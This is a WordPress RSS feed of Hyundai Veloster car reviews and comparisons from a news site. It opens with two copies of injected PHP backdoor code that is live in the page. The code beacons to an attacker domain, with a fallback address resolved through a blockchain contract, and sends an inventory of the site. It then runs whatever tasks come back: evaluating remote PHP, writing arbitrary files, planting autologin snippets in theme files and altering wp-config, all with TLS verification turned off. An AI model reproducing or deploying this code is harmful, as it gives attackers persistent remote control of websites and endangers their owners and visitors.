// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Veloster – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Thu, 01 Nov 2018 17:08:50 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Veloster – Brief News https://briefnews.eu 32 32 2019 Hyundai Veloster N Review | Testing Hyundai's hottest hatch in America https://briefnews.eu/2019-hyundai-veloster-n-review-testing-hyundais-hottest-hatch-in-america/ https://briefnews.eu/2019-hyundai-veloster-n-review-testing-hyundais-hottest-hatch-in-america/#respond Thu, 01 Nov 2018 17:08:50 +0000 http://briefnews.eu/2019-hyundai-veloster-n-review-testing-hyundais-hottest-hatch-in-america/ [unable to retrieve full-text content]

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This ‘corner rascal’ is serious about satisfying the driver.

Continue reading 2019 Hyundai Veloster N Review | Testing Hyundai’s hottest hatch in America

2019 Hyundai Veloster N Review | Testing Hyundai’s hottest hatch in America originally appeared on Autoblog on Thu, 01 Nov 2018 11:25:00 EDT. Please see our terms for use of feeds.

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]]> https://briefnews.eu/2019-hyundai-veloster-n-review-testing-hyundais-hottest-hatch-in-america/feed/ 0 2019 Hyundai Veloster Turbo Quick Spin Review | Now with actual 'velo'! https://briefnews.eu/2019-hyundai-veloster-turbo-quick-spin-review-now-with-actual-velo/ https://briefnews.eu/2019-hyundai-veloster-turbo-quick-spin-review-now-with-actual-velo/#respond Fri, 14 Sep 2018 15:20:08 +0000 http://briefnews.eu/2019-hyundai-veloster-turbo-quick-spin-review-now-with-actual-velo/ [unable to retrieve full-text content]

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But don’t worry, the driver side back door is still M.I.A.

Continue reading 2019 Hyundai Veloster Turbo Quick Spin Review | Now with actual ‘velo’!

2019 Hyundai Veloster Turbo Quick Spin Review | Now with actual ‘velo’! originally appeared on Autoblog on Fri, 14 Sep 2018 09:55:00 EDT. Please see our terms for use of feeds.

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]]> https://briefnews.eu/2019-hyundai-veloster-turbo-quick-spin-review-now-with-actual-velo/feed/ 0 2019 Hyundai Veloster Turbo vs. sporty hatchbacks and coupes: How they compare on paper https://briefnews.eu/2019-hyundai-veloster-turbo-vs-sporty-hatchbacks-and-coupes-how-they-compare-on-paper/ https://briefnews.eu/2019-hyundai-veloster-turbo-vs-sporty-hatchbacks-and-coupes-how-they-compare-on-paper/#respond Tue, 15 May 2018 22:34:03 +0000 http://briefnews.eu/2019-hyundai-veloster-turbo-vs-sporty-hatchbacks-and-coupes-how-they-compare-on-paper/ The 2019 Hyundai Veloster is completely new for its second generation, and it will be hitting dealers soon. And in Veloster Turbo form, it promises to be an interesting entry in the highly competitive affordable sporty car segment, one mostly populated by hot hatchbacks such as itself. The question of course is, can it stand up to the establishment, a group of vehicles including models with decades of history? Ahead of an upcoming drive, we decided to compare its specifications with those of the 2018 Honda Civic Si, 2019 Mini Cooper S 2-Door, 2018 Ford Focus ST and 2018 Volkswagen GTI.

We’ll take a look at how much power and torque these cars produce, as well as practical things such as fuel economy and interior space. Naturally, on-paper comparisons offer only so much insight into different vehicles, and we highly recommend checking out our full reviews of them — stay tuned for a full review of the new Veloster models. And if you want to compare any of these vehicles with some different models, be sure to check out our comparison tool. Now, let’s see how these hot hatches, and coupe, compare.

Comparsion of small sporty cars

Engines, transmissions and performance

When it comes to outright grunt, the Ford Focus ST with 252 horsepower and 270 pound-feet of torque is the outright winner, with the VW coming behind with 32 fewer ponies and 12 less pound-feet. The Veloster and Civic are practically tied at roughly 200 horsepower and 195 pound-feet, while the Mini is just barely behind those two.

Every vehicle here offers a manual transmission, and it’s the only transmission available with the Honda and Ford. The Hyundai and Volkswagen each have dual-clutch automatic options, and the Mini is the only one to offer a traditional torque-converter automatic.

While the Hyundai, Honda and Mini all have the least amount of power, they also have the least weight to deal with. The Mini is the lightest with a manual model weighing in at just under 2,800 pounds. The heaviest Mini is almost the same weight as an R-Spec manual Veloster Turbo. The heaviest Veloster comes in just under 3,000 pounds, while the Civic Si squeaks in under 2,900 pounds. The Focus, although the most powerful, also has the most weight to carry at over 3,200 pounds. The VW weighs about 100 to 200 pounds less depending on transmission.

Although fuel economy isn’t the primary focus of these cars, it can still be a consideration, and for the frugal fun-lover, the Civic Si is the clear winner. It manages an impressive 38 mpg on the highway, and does no worse than 28 in the city. A Veloster Turbo with the dual-clutch transmission can match it in the city but is 4 mpg shy on the highway. Again, the Focus ST does the worst, likely a combination of having the most powerful engine and the most weight. It only manages 30 on the highway, and a disappointing 22 in the city. The Mini and VW are roughly the same, trading one or two mpg here and there.

Exterior and interior specifications

Surprising exactly no one, the Mini Cooper S is the smallest car of the group on the outside. It’s a full 15 inches shorter than the next shortest Hyundai Veloster Turbo, and over 25 inches shorter than the longest Honda Civic Si. It’s also the narrowest of the group. The Civic Si, though, is the shortest in height at 54.7 inches. The Ford and VW are almost tied for tallest with each barely under 58 inches.

The interiors reveal some interesting findings. The Mini has the most headroom for front passengers. But for both front and rear passengers, the Focus and GTI are the best. Moving to legroom, things are pretty close up front, with the Focus winning out and closely followed by Veloster and Civic. But what’s weird is that the Civic Si, the only true coupe, has the most rear legroom. The GTI is next best. The Mini is by far the worst for rear legroom, which again, is no surprise. Shoulder room is a win for the Civic up front, and a win for the Veloster in back.

For cargo space, the best bet is the Focus ST with 23.2 cubic feet, and the GTI is just behind with 22.8. The worst is the Mini at 8.7 cubes and the Civic Si is second worst at 11.9.

Pricing

Pricing for these sporty cars is pretty tight, but the uncontested winner is the Veloster Turbo at $ 23,785. The Civic Si is only about $ 1,200 more at $ 24,995. Just over $ 1,000 more than the Honda nets the Focus ST and its roughly 50 additional horsepower and much more cargo space. But as mentioned, it also suffers in the fuel economy department. The Mini is possibly the worst value as the second most expensive car, but with the least amount of space and middle-of-the-road fuel economy. The GTI’s price is a bit higher than the Mini’s at just over $ 27,000, but it’s much more spacious and more powerful.

Editors’ driving experiences

We can’t yet speak to how the Veloster Turbo drives, as it’s a new model (but we will drive it soon). But we can offer some insights into the others. The Ford Focus ST is likely the most exciting drive, almost a muscle hatch. Our experience has shown it to pull fiercely, so much so that you can pick up on some torque steer. Its handling balance is also set up to be very quick and eager. The Honda Civic Si is an impressive corner carver with superb steering, handling, and shifting, not to mention lots of standard features, but it does feel like it could use some more power when compared to cars like the Focus ST and GTI. Speaking of which, the GTI is still arguably the ultimate all-’rounder. It has a clean, classy interior and excellent road manners while delivering a very involved driving experience. The Mini is still a nimble little thing with punchy power, but we find its handling to only be on par with the competition.

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]]> https://briefnews.eu/2019-hyundai-veloster-turbo-vs-sporty-hatchbacks-and-coupes-how-they-compare-on-paper/feed/ 0 2018 Hyundai i30 N Driven: The Precursor to the Veloster N Prizes Character Over Refinement https://briefnews.eu/2018-hyundai-i30-n-driven-the-precursor-to-the-veloster-n-prizes-character-over-refinement/ https://briefnews.eu/2018-hyundai-i30-n-driven-the-precursor-to-the-veloster-n-prizes-character-over-refinement/#respond Wed, 07 Feb 2018 04:14:03 +0000 http://briefnews.eu/2018-hyundai-i30-n-driven-the-precursor-to-the-veloster-n-prizes-character-over-refinement/ 2018-Hyundai-i30-N-Placement
-We can’t tell you what the new Hyundai Veloster N is like to drive yet, but we have sampled its more symmetrical four-door sibling, the Europe-market i30 N. It is both the first product from Hyundai’s N performance division and a preview of the mechanical package that buyers in the United States will experience in the hotter, three-door Veloster.
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]]> https://briefnews.eu/2018-hyundai-i30-n-driven-the-precursor-to-the-veloster-n-prizes-character-over-refinement/feed/ 0 Here Are 10 Things That Make the 2019 Hyundai Veloster N so N-ticing https://briefnews.eu/here-are-10-things-that-make-the-2019-hyundai-veloster-n-so-n-ticing/ https://briefnews.eu/here-are-10-things-that-make-the-2019-hyundai-veloster-n-so-n-ticing/#respond Thu, 25 Jan 2018 14:50:09 +0000 http://briefnews.eu/here-are-10-things-that-make-the-2019-hyundai-veloster-n-so-n-ticing/ –Here Are 10 Things That Make the 2019 Hyundai Veloster N So N-ticing–N’der the Hood–BurNing Rubber–Stop, Drop, and Roll–A Red-Faced Mean-Mugger–Baby Got Back–Brap So Hard–Hold Me Tight–Downshift at Will–Choose Your Own Handling Adventure–Multi-Modal—

]]> https://briefnews.eu/here-are-10-things-that-make-the-2019-hyundai-veloster-n-so-n-ticing/feed/ 0 2019 Hyundai Veloster: Yep, It Still Has Funky Doors – Official Photos and Info https://briefnews.eu/2019-hyundai-veloster-yep-it-still-has-funky-doors-official-photos-and-info/ https://briefnews.eu/2019-hyundai-veloster-yep-it-still-has-funky-doors-official-photos-and-info/#respond Tue, 16 Jan 2018 11:00:30 +0000 http://briefnews.eu/2019-hyundai-veloster-yep-it-still-has-funky-doors-official-photos-and-info/ 550912

